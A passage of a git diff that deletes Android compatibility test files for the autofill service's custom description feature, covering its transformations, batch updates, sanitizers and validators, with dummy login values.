-                        .setPresentation(createPresentation("The end of the world"))
-                        .setField(ID_OUTPUT, "2012/11/25")
-                        .setField(ID_DATE_PICKER, cal.getTimeInMillis())
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_OUTPUT, ID_DATE_PICKER);
-
-        if (withSanitization) {
-            response.setSaveInfoVisitor((contexts, builder) -> {
-                final AutofillId id = findAutofillIdByResourceId(contexts.get(0), ID_DATE_PICKER);
-                builder.addSanitizer(new DateValueSanitizer(new SimpleDateFormat("MM/yyyy")), id);
-            });
-        }
-        sReplier.addResponse(response.build());
-
-        // Trigger autofill.
-        mActivity.onOutput((v) -> v.requestFocus());
-        sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("The end of the world");
-
-        // Manually set same values as dataset.
-        mActivity.onOutput((v) -> v.setText("whatever"));
-        mActivity.setDate(2012, Calendar.DECEMBER, 25);
-        mActivity.tapOk();
-
-        // Verify save behavior.
-        if (withSanitization) {
-            mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-        } else {
-            mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-        }
-    }
-
-    private RemoteViews newTemplate(int resourceId) {
-        return new RemoteViews(getContext().getPackageName(), resourceId);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionHelper.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionHelper.java
deleted file mode 100644
index 5fc33e7..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionHelper.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-
-import android.service.autofill.CustomDescription;
-import android.widget.RemoteViews;
-
-public final class CustomDescriptionHelper {
-
-    public static final String ID_SHOW = "show";
-    public static final String ID_HIDE = "hide";
-    public static final String ID_USERNAME_PLAIN = "username_plain";
-    public static final String ID_USERNAME_MASKED = "username_masked";
-    public static final String ID_PASSWORD_PLAIN = "password_plain";
-    public static final String ID_PASSWORD_MASKED = "password_masked";
-
-    private static final String sPackageName =
-            getInstrumentation().getTargetContext().getPackageName();
-
-
-    public static CustomDescription.Builder newCustomDescriptionWithUsernameAndPassword() {
-        return new CustomDescription.Builder(new RemoteViews(sPackageName,
-                R.layout.custom_description_with_username_and_password));
-    }
-
-    public static CustomDescription.Builder newCustomDescriptionWithHiddenFields() {
-        return new CustomDescription.Builder(new RemoteViews(sPackageName,
-                R.layout.custom_description_with_hidden_fields));
-    }
-
-    private CustomDescriptionHelper() {
-        throw new UnsupportedOperationException("contain static methods only");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
deleted file mode 100644
index 0c6792d..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
+++ /dev/null
@@ -1,642 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.BatchUpdates;
-import android.service.autofill.CharSequenceTransformation;
-import android.service.autofill.CustomDescription;
-import android.service.autofill.FillContext;
-import android.service.autofill.ImageTransformation;
-import android.service.autofill.RegexValidator;
-import android.service.autofill.TextValueSanitizer;
-import android.service.autofill.Validator;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
-import android.view.View;
-import android.view.autofill.AutofillId;
-import android.widget.RemoteViews;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import org.junit.Test;
-
-import java.util.function.BiFunction;
-import java.util.regex.Pattern;
-
-@AppModeFull(reason = "Service-specific test")
-public class CustomDescriptionTest extends AbstractLoginActivityTestCase {
-
-    /**
-     * Base test
-     *
-     * @param descriptionBuilder method to build a custom description
-     * @param uiVerifier         Ran when the custom description is shown
-     */
-    private void testCustomDescription(
-            @NonNull BiFunction<AutofillId, AutofillId, CustomDescription> descriptionBuilder,
-            @Nullable Runnable uiVerifier) throws Exception {
-        enableService();
-
-        // Set response with custom description
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    final AutofillId usernameId = findAutofillIdByResourceId(context, ID_USERNAME);
-                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-                    builder.setCustomDescription(descriptionBuilder.apply(usernameId, passwordId));
-                })
-                .build());
-
-        // Trigger autofill with custom description
-        mActivity.onPassword(View::requestFocus);
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.onUsername((v) -> v.setText("usernm"));
-        mActivity.onPassword((v) -> v.setText("passwd"));
-        mActivity.tapLogin();
-
-        if (uiVerifier != null) {
-            uiVerifier.run();
-        }
-
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-        sReplier.getNextSaveRequest();
-    }
-
-    @Test
-    public void testSanitizationBeforeBatchUpdates() throws Exception {
-        enableService();
-
-        // Set response with custom description
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final RemoteViews presentation =
-                            newTemplate(R.layout.two_horizontal_text_fields);
-
-                    final AutofillId usernameId =
-                            findAutofillIdByResourceId(contexts.get(0), ID_USERNAME);
-
-                    // Validator for sanitization
-                    final Validator validCondition =
-                            new RegexValidator(usernameId, Pattern.compile("user"));
-
-                    final RemoteViews update = newTemplate(-666); // layout id not really used
-                    update.setTextViewText(R.id.first, "batch updated");
-
-                    final CustomDescription customDescription = new CustomDescription
-                            .Builder(presentation)
-                            .batchUpdate(validCondition,
-                                    new BatchUpdates.Builder().updateTemplate(update).build())
-                            .build();
-                    builder
-                        .addSanitizer(new TextValueSanitizer(Pattern.compile("USERNAME"), "user"),
-                                usernameId)
-                        .setCustomDescription(customDescription);
-
-                })
-                .build());
-
-        // Trigger autofill with custom description
-        mActivity.onPassword(View::requestFocus);
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.onUsername((v) -> v.setText("USERNAME"));
-        mActivity.onPassword((v) -> v.setText(LoginActivity.BACKDOOR_PASSWORD_SUBSTRING));
-        mActivity.tapLogin();
-
-        assertSaveUiIsShownWithTwoLines("batch updated");
-    }
-
-    @Test
-    public void testSanitizationBeforeTransformations() throws Exception {
-        enableService();
-
-        // Set response with custom description
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final RemoteViews presentation =
-                            newTemplate(R.layout.two_horizontal_text_fields);
-
-                    final AutofillId usernameId =
-                            findAutofillIdByResourceId(contexts.get(0), ID_USERNAME);
-
-                    // Transformation
-                    final CharSequenceTransformation trans = new CharSequenceTransformation
-                            .Builder(usernameId, Pattern.compile("user"), "transformed")
-                            .build();
-
-                    final CustomDescription customDescription = new CustomDescription
-                            .Builder(presentation)
-                            .addChild(R.id.first, trans)
-                            .build();
-                    builder
-                        .addSanitizer(new TextValueSanitizer(Pattern.compile("USERNAME"), "user"),
-                                usernameId)
-                        .setCustomDescription(customDescription);
-
-                })
-                .build());
-
-        // Trigger autofill with custom description
-        mActivity.onPassword(View::requestFocus);
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.onUsername((v) -> v.setText("USERNAME"));
-        mActivity.onPassword((v) -> v.setText(LoginActivity.BACKDOOR_PASSWORD_SUBSTRING));
-        mActivity.tapLogin();
-
-        assertSaveUiIsShownWithTwoLines("transformed");
-    }
-
-    @Test
-    public void validTransformation() throws Exception {
-        testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
-
-            CharSequenceTransformation trans1 = new CharSequenceTransformation
-                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
-                    .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
-                    .build();
-            @SuppressWarnings("deprecation")
-            ImageTransformation trans2 = new ImageTransformation
-                    .Builder(usernameId, Pattern.compile(".*"),
-                    R.drawable.android).build();
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.first, trans1)
-                    .addChild(R.id.img, trans2)
-                    .build();
-        }, () -> assertSaveUiIsShownWithTwoLines("usernm..wd"));
-    }
-
-    @Test
-    public void validTransformationWithOneTemplateUpdate() throws Exception {
-        testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
-
-            CharSequenceTransformation trans1 = new CharSequenceTransformation
-                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
-                    .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
-                    .build();
-            @SuppressWarnings("deprecation")
-            ImageTransformation trans2 = new ImageTransformation
-                    .Builder(usernameId, Pattern.compile(".*"),
-                    R.drawable.android).build();
-            RemoteViews update = newTemplate(0); // layout id not really used
-            update.setViewVisibility(R.id.second, View.GONE);
-            Validator condition = new RegexValidator(usernameId, Pattern.compile(".*"));
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.first, trans1)
-                    .addChild(R.id.img, trans2)
-                    .batchUpdate(condition,
-                            new BatchUpdates.Builder().updateTemplate(update).build())
-                    .build();
-        }, () -> assertSaveUiIsShownWithJustOneLine("usernm..wd"));
-    }
-
-    @Test
-    public void validTransformationWithMultipleTemplateUpdates() throws Exception {
-        testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
-
-            CharSequenceTransformation trans1 = new CharSequenceTransformation.Builder(usernameId,
-                    Pattern.compile("(.*)"), "$1")
-                            .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
-                            .build();
-            @SuppressWarnings("deprecation")
-            ImageTransformation trans2 = new ImageTransformation.Builder(usernameId,
-                    Pattern.compile(".*"), R.drawable.android)
-                    .build();
-
-            Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
-            Validator invalidCondition = new RegexValidator(usernameId, Pattern.compile("D'OH"));
-
-            // Line 1 updates
-            RemoteViews update1 = newTemplate(666); // layout id not really used
-            update1.setContentDescription(R.id.first, "First am I"); // valid
-            RemoteViews update2 = newTemplate(0); // layout id not really used
-            update2.setViewVisibility(R.id.first, View.GONE); // invalid
-
-            // Line 2 updates
-            RemoteViews update3 = newTemplate(-666); // layout id not really used
-            update3.setTextViewText(R.id.second, "First of his second name"); // valid
-            RemoteViews update4 = newTemplate(0); // layout id not really used
-            update4.setTextViewText(R.id.second, "SECOND of his second name"); // invalid
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.first, trans1)
-                    .addChild(R.id.img, trans2)
-                    .batchUpdate(validCondition,
-                            new BatchUpdates.Builder().updateTemplate(update1).build())
-                    .batchUpdate(invalidCondition,
-                            new BatchUpdates.Builder().updateTemplate(update2).build())
-                    .batchUpdate(validCondition,
-                            new BatchUpdates.Builder().updateTemplate(update3).build())
-                    .batchUpdate(invalidCondition,
-                            new BatchUpdates.Builder().updateTemplate(update4).build())
-                    .build();
-        }, () -> assertSaveUiWithLinesIsShown(
-                (line1) -> assertWithMessage("Wrong content description for line1")
-                        .that(line1.getContentDescription()).isEqualTo("First am I"),
-                (line2) -> assertWithMessage("Wrong text for line2").that(line2.getText())
-                        .isEqualTo("First of his second name"),
-                null));
-    }
-
-    @Test
-    public void testMultipleBatchUpdates_noConditionPass() throws Exception {
-        multipleBatchUpdatesTest(BatchUpdatesConditionType.NONE_PASS);
-    }
-
-    @Test
-    public void testMultipleBatchUpdates_secondConditionPass() throws Exception {
-        multipleBatchUpdatesTest(BatchUpdatesConditionType.SECOND_PASS);
-    }
-
-    @Test
-    public void testMultipleBatchUpdates_thirdConditionPass() throws Exception {
-        multipleBatchUpdatesTest(BatchUpdatesConditionType.THIRD_PASS);
-    }
-
-    @Test
-    public void testMultipleBatchUpdates_allConditionsPass() throws Exception {
-        multipleBatchUpdatesTest(BatchUpdatesConditionType.ALL_PASS);
-    }
-
-    private enum BatchUpdatesConditionType {
-        NONE_PASS,
-        SECOND_PASS,
-        THIRD_PASS,
-        ALL_PASS
-    }
-
-    /**
-     * Tests a custom description that has 3 transformations, one applied directly and the other
-     * 2 in batch updates.
-     *
-     * @param conditionsType defines which batch updates conditions will pass.
-     */
-    private void multipleBatchUpdatesTest(BatchUpdatesConditionType conditionsType)
-            throws Exception {
-
-        final boolean line2Pass = conditionsType == BatchUpdatesConditionType.SECOND_PASS
-                || conditionsType == BatchUpdatesConditionType.ALL_PASS;
-        final boolean line3Pass = conditionsType == BatchUpdatesConditionType.THIRD_PASS
-                || conditionsType == BatchUpdatesConditionType.ALL_PASS;
-
-        final Visitor<UiObject2> line1Visitor = (line1) -> assertWithMessage("Wrong text for line1")
-                .that(line1.getText()).isEqualTo("L1-u");
-
-        final Visitor<UiObject2> line2Visitor;
-        if (line2Pass) {
-            line2Visitor = (line2) -> assertWithMessage("Wrong text for line2")
-                    .that(line2.getText()).isEqualTo("L2-u");
-        } else {
-            line2Visitor = null;
-        }
-
-        final Visitor<UiObject2> line3Visitor;
-        if (line3Pass) {
-            line3Visitor = (line3) -> assertWithMessage("Wrong text for line3")
-                    .that(line3.getText()).isEqualTo("L3-p");
-        } else {
-            line3Visitor = null;
-        }
-
-        testCustomDescription((usernameId, passwordId) -> {
-            Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
-            Validator invalidCondition = new RegexValidator(usernameId, Pattern.compile("D'OH"));
-            Pattern firstCharGroupRegex = Pattern.compile("^(.).*$");
-
-            final RemoteViews presentation =
-                    newTemplate(R.layout.three_horizontal_text_fields_last_two_invisible);
-
-            final CharSequenceTransformation line1Transformation =
-                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L1-$1")
-                        .build();
-
-            final CharSequenceTransformation line2Transformation =
-                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L2-$1")
-                        .build();
-            final RemoteViews line2Updates = newTemplate(666); // layout id not really used
-            line2Updates.setViewVisibility(R.id.second, View.VISIBLE);
-
-            final CharSequenceTransformation line3Transformation =
-                    new CharSequenceTransformation.Builder(passwordId, firstCharGroupRegex, "L3-$1")
-                        .build();
-            final RemoteViews line3Updates = newTemplate(666); // layout id not really used
-            line3Updates.setViewVisibility(R.id.third, View.VISIBLE);
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.first, line1Transformation)
-                    .batchUpdate(line2Pass ? validCondition : invalidCondition,
-                            new BatchUpdates.Builder()
-                            .transformChild(R.id.second, line2Transformation)
-                            .updateTemplate(line2Updates)
-                            .build())
-                    .batchUpdate(line3Pass ? validCondition : invalidCondition,
-                            new BatchUpdates.Builder()
-                            .transformChild(R.id.third, line3Transformation)
-                            .updateTemplate(line3Updates)
-                            .build())
-                    .build();
-        }, () -> assertSaveUiWithLinesIsShown(line1Visitor, line2Visitor, line3Visitor));
-    }
-
-    @Test
-    public void testBatchUpdatesApplyUpdateFirstThenTransformations() throws Exception {
-
-        final Visitor<UiObject2> line1Visitor = (line1) -> assertWithMessage("Wrong text for line1")
-                .that(line1.getText()).isEqualTo("L1-u");
-        final Visitor<UiObject2> line2Visitor = (line2) -> assertWithMessage("Wrong text for line2")
-                .that(line2.getText()).isEqualTo("L2-u");
-        final Visitor<UiObject2> line3Visitor = (line3) -> assertWithMessage("Wrong text for line3")
-                .that(line3.getText()).isEqualTo("L3-p");
-
-        testCustomDescription((usernameId, passwordId) -> {
-            Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
-            Pattern firstCharGroupRegex = Pattern.compile("^(.).*$");
-
-            final RemoteViews presentation =
-                    newTemplate(R.layout.two_horizontal_text_fields);
-
-            final CharSequenceTransformation line1Transformation =
-                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L1-$1")
-                        .build();
-
-            final CharSequenceTransformation line2Transformation =
-                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L2-$1")
-                        .build();
-
-            final CharSequenceTransformation line3Transformation =
-                    new CharSequenceTransformation.Builder(passwordId, firstCharGroupRegex, "L3-$1")
-                        .build();
-            final RemoteViews line3Presentation = newTemplate(R.layout.third_line_only);
-            final RemoteViews line3Updates = newTemplate(666); // layout id not really used
-            line3Updates.addView(R.id.parent, line3Presentation);
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.first, line1Transformation)
-                    .batchUpdate(validCondition,
-                            new BatchUpdates.Builder()
-                            .transformChild(R.id.second, line2Transformation)
-                            .build())
-                    .batchUpdate(validCondition,
-                            new BatchUpdates.Builder()
-                            .updateTemplate(line3Updates)
-                            .transformChild(R.id.third, line3Transformation)
-                            .build())
-                    .build();
-        }, () -> assertSaveUiWithLinesIsShown(line1Visitor, line2Visitor, line3Visitor));
-    }
-
-    @Test
-    public void badImageTransformation() throws Exception {
-        testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
-
-            @SuppressWarnings("deprecation")
-            ImageTransformation trans = new ImageTransformation.Builder(usernameId,
-                    Pattern.compile(".*"), 1).build();
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.img, trans)
-                    .build();
-        }, () -> assertSaveUiWithCustomDescriptionIsShown());
-    }
-
-    @Test
-    public void unusedImageTransformation() throws Exception {
-        testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
-
-            @SuppressWarnings("deprecation")
-            ImageTransformation trans = new ImageTransformation
-                    .Builder(usernameId, Pattern.compile("invalid"), R.drawable.android)
-                    .build();
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.img, trans)
-                    .build();
-        }, () -> assertSaveUiWithCustomDescriptionIsShown());
-    }
-
-    @Test
-    public void applyImageTransformationToTextView() throws Exception {
-        testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
-
-            @SuppressWarnings("deprecation")
-            ImageTransformation trans = new ImageTransformation
-                    .Builder(usernameId, Pattern.compile(".*"), R.drawable.android)
-                    .build();
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.first, trans)
-                    .build();
-        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
-    }
-
-    @Test
-    public void failFirstFailAll() throws Exception {
-        testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
-
-            CharSequenceTransformation trans = new CharSequenceTransformation
-                    .Builder(usernameId, Pattern.compile("(.*)"), "$42")
-                    .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
-                    .build();
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.first, trans)
-                    .build();
-        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
-    }
-
-    @Test
-    public void failSecondFailAll() throws Exception {
-        testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
-
-            CharSequenceTransformation trans = new CharSequenceTransformation
-                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
-                    .addField(passwordId, Pattern.compile(".*(..)"), "..$42")
-                    .build();
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.first, trans)
-                    .build();
-        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
-    }
-
-    @Test
-    public void applyCharSequenceTransformationToImageView() throws Exception {
-        testCustomDescription((usernameId, passwordId) -> {
-            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
-
-            CharSequenceTransformation trans = new CharSequenceTransformation
-                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
-                    .build();
-
-            return new CustomDescription.Builder(presentation)
-                    .addChild(R.id.img, trans)
-                    .build();
-        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
-    }
-
-    private void multipleTransformationsForSameFieldTest(boolean matchFirst) throws Exception {
-        enableService();
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    // Set response with custom description
-                    final AutofillId usernameId =
-                            findAutofillIdByResourceId(contexts.get(0), ID_USERNAME);
-                    final CharSequenceTransformation firstTrans = new CharSequenceTransformation
-                            .Builder(usernameId, Pattern.compile("(marco)"), "polo")
-                            .build();
-                    final CharSequenceTransformation secondTrans = new CharSequenceTransformation
-                            .Builder(usernameId, Pattern.compile("(MARCO)"), "POLO")
-                            .build();
-                    final RemoteViews presentation =
-                            newTemplate(R.layout.two_horizontal_text_fields);
-                    final CustomDescription customDescription =
-                            new CustomDescription.Builder(presentation)
-                            .addChild(R.id.first, firstTrans)
-                            .addChild(R.id.first, secondTrans)
-                            .build();
-                    builder.setCustomDescription(customDescription);
-                })
-                .build());
-
-        // Trigger autofill with custom description
-        mActivity.onPassword(View::requestFocus);
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        final String username = matchFirst ? "marco" : "MARCO";
-        mActivity.onUsername((v) -> v.setText(username));
-        mActivity.onPassword((v) -> v.setText(LoginActivity.BACKDOOR_PASSWORD_SUBSTRING));
-        mActivity.tapLogin();
-
-        final String expectedText = matchFirst ? "polo" : "POLO";
-        assertSaveUiIsShownWithTwoLines(expectedText);
-    }
-
-    @Test
-    public void applyMultipleTransformationsForSameField_matchFirst() throws Exception {
-        multipleTransformationsForSameFieldTest(true);
-    }
-
-    @Test
-    public void applyMultipleTransformationsForSameField_matchSecond() throws Exception {
-        multipleTransformationsForSameFieldTest(false);
-    }
-
-    private RemoteViews newTemplate(int resourceId) {
-        return new RemoteViews(getContext().getPackageName(), resourceId);
-    }
-
-    private UiObject2 assertSaveUiShowing() {
-        try {
-            return mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-    private void assertSaveUiWithoutCustomDescriptionIsShown() {
-        // First make sure the UI is shown...
-        final UiObject2 saveUi = assertSaveUiShowing();
-
-        // Then make sure it does not have the custom view on it.
-        assertWithMessage("found static_text on SaveUI (%s)", mUiBot.getChildrenAsText(saveUi))
-            .that(saveUi.findObject(By.res(mPackageName, "static_text"))).isNull();
-    }
-
-    private UiObject2 assertSaveUiWithCustomDescriptionIsShown() {
-        // First make sure the UI is shown...
-        final UiObject2 saveUi = assertSaveUiShowing();
-
-        // Then make sure it does have the custom view on it...
-        final UiObject2 staticText = saveUi.findObject(By.res(mPackageName, "static_text"));
-        assertThat(staticText).isNotNull();
-        assertThat(staticText.getText()).isEqualTo("YO:");
-
-        return saveUi;
-    }
-
-    /**
-     * Asserts the save ui only has {@code first} and {@code second} lines (i.e, {@code third} is
-     * invisible), but only {@code first} has text.
-     */
-    private UiObject2 assertSaveUiIsShownWithTwoLines(String expectedTextOnFirst) {
-        return assertSaveUiWithLinesIsShown(
-                (line1) -> assertWithMessage("Wrong text for child with id 'first'")
-                        .that(line1.getText()).isEqualTo(expectedTextOnFirst),
-                (line2) -> assertWithMessage("Wrong text for child with id 'second'")
-                        .that(line2.getText()).isNull(),
-                null);
-    }
-
-    /**
-     * Asserts the save ui only has {@code first} line (i.e., {@code second} and {@code third} are
-     * invisible).
-     */
-    private void assertSaveUiIsShownWithJustOneLine(String expectedTextOnFirst) {
-        assertSaveUiWithLinesIsShown(
-                (line1) -> assertWithMessage("Wrong text for child with id 'first'")
-                        .that(line1.getText()).isEqualTo(expectedTextOnFirst),
-                null, null);
-    }
-
-    private UiObject2 assertSaveUiWithLinesIsShown(@Nullable Visitor<UiObject2> line1Visitor,
-            @Nullable Visitor<UiObject2> line2Visitor, @Nullable Visitor<UiObject2> line3Visitor) {
-        final UiObject2 saveUi = assertSaveUiWithCustomDescriptionIsShown();
-        mUiBot.assertChild(saveUi, "first", line1Visitor);
-        mUiBot.assertChild(saveUi, "second", line2Visitor);
-        mUiBot.assertChild(saveUi, "third", line3Visitor);
-        return saveUi;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java
deleted file mode 100644
index dd3c5b9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.mock;
-import static org.testng.Assert.assertThrows;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.BatchUpdates;
-import android.service.autofill.CustomDescription;
-import android.service.autofill.InternalOnClickAction;
-import android.service.autofill.InternalTransformation;
-import android.service.autofill.InternalValidator;
-import android.service.autofill.OnClickAction;
-import android.service.autofill.Transformation;
-import android.service.autofill.Validator;
-import android.util.SparseArray;
-import android.widget.RemoteViews;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class CustomDescriptionUnitTest {
-
-    private final CustomDescription.Builder mBuilder =
-            new CustomDescription.Builder(mock(RemoteViews.class));
-    private final BatchUpdates mValidUpdate =
-            new BatchUpdates.Builder().updateTemplate(mock(RemoteViews.class)).build();
-    private final Transformation mValidTransformation = mock(InternalTransformation.class);
-    private final Validator mValidCondition = mock(InternalValidator.class);
-    private final OnClickAction mValidAction = mock(InternalOnClickAction.class);
-
-    @Test
-    public void testNullConstructor() {
-        assertThrows(NullPointerException.class, () ->  new CustomDescription.Builder(null));
-    }
-
-    @Test
-    public void testAddChild_null() {
-        assertThrows(IllegalArgumentException.class, () ->  mBuilder.addChild(42, null));
-    }
-
-    @Test
-    public void testAddChild_invalidImplementation() {
-        assertThrows(IllegalArgumentException.class,
-                () ->  mBuilder.addChild(42, mock(Transformation.class)));
-    }
-
-    @Test
-    public void testBatchUpdate_nullCondition() {
-        assertThrows(IllegalArgumentException.class,
-                () ->  mBuilder.batchUpdate(null, mValidUpdate));
-    }
-
-    @Test
-    public void testBatchUpdate_invalidImplementation() {
-        assertThrows(IllegalArgumentException.class,
-                () ->  mBuilder.batchUpdate(mock(Validator.class), mValidUpdate));
-    }
-
-    @Test
-    public void testBatchUpdate_nullUpdates() {
-        assertThrows(NullPointerException.class,
-                () ->  mBuilder.batchUpdate(mValidCondition, null));
-    }
-
-    @Test
-    public void testSetOnClickAction_null() {
-        assertThrows(IllegalArgumentException.class, () ->  mBuilder.addOnClickAction(42, null));
-    }
-
-    @Test
-    public void testSetOnClickAction_invalidImplementation() {
-        assertThrows(IllegalArgumentException.class,
-                () -> mBuilder.addOnClickAction(42, mock(OnClickAction.class)));
-    }
-
-    @Test
-    public void testSetOnClickAction_thereCanBeOnlyOne() {
-        final CustomDescription customDescription = mBuilder
-                .addOnClickAction(42, mock(InternalOnClickAction.class))
-                .addOnClickAction(42, mValidAction)
-                .build();
-        final SparseArray<InternalOnClickAction> actions = customDescription.getActions();
-        assertThat(actions.size()).isEqualTo(1);
-        assertThat(actions.keyAt(0)).isEqualTo(42);
-        assertThat(actions.valueAt(0)).isSameInstanceAs(mValidAction);
-    }
-
-    @Test
-    public void testBuild_valid() {
-        new CustomDescription.Builder(mock(RemoteViews.class)).build();
-        new CustomDescription.Builder(mock(RemoteViews.class))
-            .addChild(108, mValidTransformation)
